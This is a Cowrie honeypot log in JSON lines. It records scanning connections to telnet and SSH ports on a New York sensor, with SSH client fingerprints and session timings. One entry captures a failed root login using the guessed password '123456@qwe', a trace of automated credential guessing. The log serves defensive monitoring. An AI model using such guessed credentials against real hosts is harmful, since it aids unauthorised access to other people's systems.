{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55694,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffeed2e66b61","protocol":"telnet","message":"New connection: 152.53.125.71:55694 (10.17.0.5:23) [session: ffeed2e66b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:07.227540Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55702,"dst_ip":"10.17.0.5","dst_port":23,"session":"acedbe88a12f","protocol":"telnet","message":"New connection: 152.53.125.71:55702 (10.17.0.5:23) [session: acedbe88a12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:07.464201Z"}
{"eventid":"cowrie.session.closed","duration":30.750147342681885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:09.355613Z","src_ip":"152.53.125.71","session":"4711e50ba03d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48070001602173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:09.423701Z","src_ip":"152.53.125.71","session":"6ae3769d96cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19749355316162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:09.495156Z","src_ip":"152.53.125.71","session":"4e52cb654f24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.46393537521362,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:09.966985Z","src_ip":"159.203.13.64","session":"ffa6a55ab881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":49572,"dst_ip":"10.17.0.5","dst_port":22,"session":"851a9425002d","protocol":"ssh","message":"New connection: 45.78.194.242:49572 (10.17.0.5:22) [session: 851a9425002d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:10.056164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:10.062857Z","src_ip":"45.78.194.242","session":"851a9425002d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:10.309743Z","src_ip":"45.78.194.242","session":"851a9425002d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55710,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b02abad70ad","protocol":"telnet","message":"New connection: 152.53.125.71:55710 (10.17.0.5:23) [session: 3b02abad70ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:10.587900Z"}
{"eventid":"cowrie.session.closed","duration":30.752670764923096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:11.363733Z","src_ip":"152.53.125.71","session":"19cbae2f187d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55724,"dst_ip":"10.17.0.5","dst_port":23,"session":"03504907e14a","protocol":"telnet","message":"New connection: 152.53.125.71:55724 (10.17.0.5:23) [session: 03504907e14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:11.512717Z"}
{"eventid":"cowrie.session.closed","duration":31.12671184539795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:12.351651Z","src_ip":"152.53.125.71","session":"accf4f7dba89","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@qwe","message":"login attempt [root/123456@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:12.631172Z","src_ip":"45.78.194.242","session":"851a9425002d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.158595323562622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:13.440625Z","src_ip":"152.53.125.71","session":"e354cbbdad5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:14.426810Z","src_ip":"45.78.194.242","session":"851a9425002d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55734,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce637ef2e8f","protocol":"telnet","message":"New connection: 152.53.125.71:55734 (10.17.0.5:23) [session: 7ce637ef2e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:14.457228Z"}
{"eventid":"cowrie.session.closed","duration":33.99498248100281,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:14.559622Z","src_ip":"162.253.42.116","session":"b15e482b7c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52180,"dst_ip":"10.17.0.5","dst_port":23,"session":"456da544be9c","protocol":"telnet","message":"New connection: 152.53.125.71:52180 (10.17.0.5:23) [session: 456da544be9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:15.316955Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52184,"dst_ip":"10.17.0.5","dst_port":23,"session":"2302c27bea4c","protocol":"telnet","message":"New connection: 152.53.125.71:52184 (10.17.0.5:23) [session: 2302c27bea4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:15.372572Z"}
{"eventid":"cowrie.session.closed","duration":30.69285488128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:15.397898Z","src_ip":"152.53.125.71","session":"6238b63ccc10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204479217529297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:15.445611Z","src_ip":"152.53.125.71","session":"4577dd3e35e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.531975984573364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:16.133939Z","src_ip":"152.53.125.71","session":"2ac077980632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680532455444336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:16.325916Z","src_ip":"152.53.125.71","session":"f8adf87b3dfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52196,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dfed61ae67b","protocol":"telnet","message":"New connection: 152.53.125.71:52196 (10.17.0.5:23) [session: 8dfed61ae67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:16.408552Z"}
{"eventid":"cowrie.session.closed","duration":31.158560514450073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:16.414295Z","src_ip":"152.53.125.71","session":"3c0c8ace2381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52198,"dst_ip":"10.17.0.5","dst_port":23,"session":"022587cbd02d","protocol":"telnet","message":"New connection: 152.53.125.71:52198 (10.17.0.5:23) [session: 022587cbd02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:16.523845Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52208,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a5ae0b3d3b","protocol":"telnet","message":"New connection: 152.53.125.71:52208 (10.17.0.5:23) [session: e7a5ae0b3d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:16.607908Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45544,"dst_ip":"10.17.0.5","dst_port":23,"session":"bba9ae59e613","protocol":"telnet","message":"New connection: 159.203.13.64:45544 (10.17.0.5:23) [session: bba9ae59e613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:17.308060Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52216,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2c6f3db7b0c","protocol":"telnet","message":"New connection: 152.53.125.71:52216 (10.17.0.5:23) [session: b2c6f3db7b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:17.448549Z"}
{"eventid":"cowrie.session.closed","duration":35.9568076133728,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:18.406493Z","src_ip":"159.203.13.64","session":"d678b3f6b35d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908867120742798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:18.506871Z","src_ip":"152.53.125.71","session":"60ff34de2811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf545aab59c","protocol":"telnet","message":"New connection: 152.53.125.71:52218 (10.17.0.5:23) [session: 4cf545aab59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:19.358677Z"}
{"eventid":"cowrie.session.closed","duration":30.81908416748047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:19.372847Z","src_ip":"152.53.125.71","session":"0a13790b710e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057430505752563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:19.499833Z","src_ip":"152.53.125.71","session":"6efea60103bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52220,"dst_ip":"10.17.0.5","dst_port":23,"session":"763ccf337d14","protocol":"telnet","message":"New connection: 152.53.125.71:52220 (10.17.0.5:23) [session: 763ccf337d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:19.656338Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52236,"dst_ip":"10.17.0.5","dst_port":23,"session":"681225564ec0","protocol":"telnet","message":"New connection: 152.53.125.71:52236 (10.17.0.5:23) [session: 681225564ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:20.645439Z"}
{"eventid":"cowrie.session.closed","duration":30.543721914291382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:21.056525Z","src_ip":"152.53.125.71","session":"ffabdb55538f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52250,"dst_ip":"10.17.0.5","dst_port":23,"session":"23d0d0f39ac8","protocol":"telnet","message":"New connection: 152.53.125.71:52250 (10.17.0.5:23) [session: 23d0d0f39ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:21.335007Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52252,"dst_ip":"10.17.0.5","dst_port":23,"session":"0192c164e6da","protocol":"telnet","message":"New connection: 152.53.125.71:52252 (10.17.0.5:23) [session: 0192c164e6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:21.405841Z"}
{"eventid":"cowrie.session.closed","duration":30.633182764053345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:22.064497Z","src_ip":"152.53.125.71","session":"83ab5dc272d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055617809295654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:22.402200Z","src_ip":"152.53.125.71","session":"00a032616467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52258,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f8a5a28a726","protocol":"telnet","message":"New connection: 152.53.125.71:52258 (10.17.0.5:23) [session: 9f8a5a28a726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:22.428825Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52260,"dst_ip":"10.17.0.5","dst_port":23,"session":"169553496cfa","protocol":"telnet","message":"New connection: 152.53.125.71:52260 (10.17.0.5:23) [session: 169553496cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:22.508520Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52268,"dst_ip":"10.17.0.5","dst_port":23,"session":"660e7cf06f92","protocol":"telnet","message":"New connection: 152.53.125.71:52268 (10.17.0.5:23) [session: 660e7cf06f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:24.240330Z"}
{"eventid":"cowrie.session.closed","duration":30.833698272705078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:24.349753Z","src_ip":"152.53.125.71","session":"87f21a26d592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094672918319702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:24.435004Z","src_ip":"152.53.125.71","session":"4d8d573bec91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52270,"dst_ip":"10.17.0.5","dst_port":23,"session":"a63ff2c244a0","protocol":"telnet","message":"New connection: 152.53.125.71:52270 (10.17.0.5:23) [session: a63ff2c244a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:24.562626Z"}
{"eventid":"cowrie.session.closed","duration":31.26799702644348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:24.573667Z","src_ip":"152.53.125.71","session":"6b5944bd583b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683419942855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:26.071184Z","src_ip":"152.53.125.71","session":"5e92ba5fa851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934285402297974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:26.272079Z","src_ip":"152.53.125.71","session":"aea094b3e33c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41428,"dst_ip":"10.17.0.5","dst_port":23,"session":"3576808c2b1d","protocol":"telnet","message":"New connection: 152.53.125.71:41428 (10.17.0.5:23) [session: 3576808c2b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:26.313142Z"}
{"eventid":"cowrie.session.closed","duration":32.52421188354492,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:26.366895Z","src_ip":"159.203.13.64","session":"8036cf8c4b9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732472896575928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:27.187874Z","src_ip":"152.53.125.71","session":"420598c43be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52878427505493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:27.191977Z","src_ip":"152.53.125.71","session":"537625e4fca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41438,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e53357ab9aa","protocol":"telnet","message":"New connection: 152.53.125.71:41438 (10.17.0.5:23) [session: 1e53357ab9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:27.274962Z"}
{"eventid":"cowrie.session.closed","duration":30.83912968635559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:27.345023Z","src_ip":"152.53.125.71","session":"14e4f5e13845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41442,"dst_ip":"10.17.0.5","dst_port":23,"session":"126c3d507137","protocol":"telnet","message":"New connection: 152.53.125.71:41442 (10.17.0.5:23) [session: 126c3d507137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:27.372931Z"}
{"eventid":"cowrie.session.closed","duration":31.06662917137146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:27.471876Z","src_ip":"152.53.125.71","session":"8e3d7d1f2589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":47042,"dst_ip":"159.203.135.109","dst_port":22,"session":"02a98655b6f4","protocol":"ssh","message":"New connection: 103.215.80.173:47042 (159.203.135.109:22) [session: 02a98655b6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:27.996624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:28.001568Z","src_ip":"103.215.80.173","session":"02a98655b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.507485151290894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:28.072501Z","src_ip":"152.53.125.71","session":"a68d0852e917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075071334838867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:28.388526Z","src_ip":"152.53.125.71","session":"8f7498aa0515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760807514190674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:28.402981Z","src_ip":"152.53.125.71","session":"02543275b54c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:28.644735Z","src_ip":"103.215.80.173","session":"02a98655b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45194,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fcec33fe2d3","protocol":"telnet","message":"New connection: 162.253.42.116:45194 (10.17.0.5:23) [session: 8fcec33fe2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:29.022351Z"}
{"eventid":"cowrie.session.closed","duration":30.867586135864258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:29.279686Z","src_ip":"152.53.125.71","session":"d3610a684de1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031081676483154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:29.307949Z","src_ip":"152.53.125.71","session":"912730beb993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41454,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df8f123c49d","protocol":"telnet","message":"New connection: 152.53.125.71:41454 (10.17.0.5:23) [session: 6df8f123c49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:29.344574Z"}
{"eventid":"cowrie.session.closed","duration":30.952999591827393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:29.441552Z","src_ip":"152.53.125.71","session":"6c1ffa9a5c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.709758043289185,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:29.856781Z","src_ip":"159.203.13.64","session":"a8bcd511c8b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58514,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e08dbe618f","protocol":"telnet","message":"New connection: 159.203.13.64:58514 (10.17.0.5:23) [session: 67e08dbe618f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:30.003058Z"}
{"eventid":"cowrie.session.closed","duration":30.89711022377014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:30.263792Z","src_ip":"152.53.125.71","session":"d6a3e77ff2b7","protocol":"telnet"}
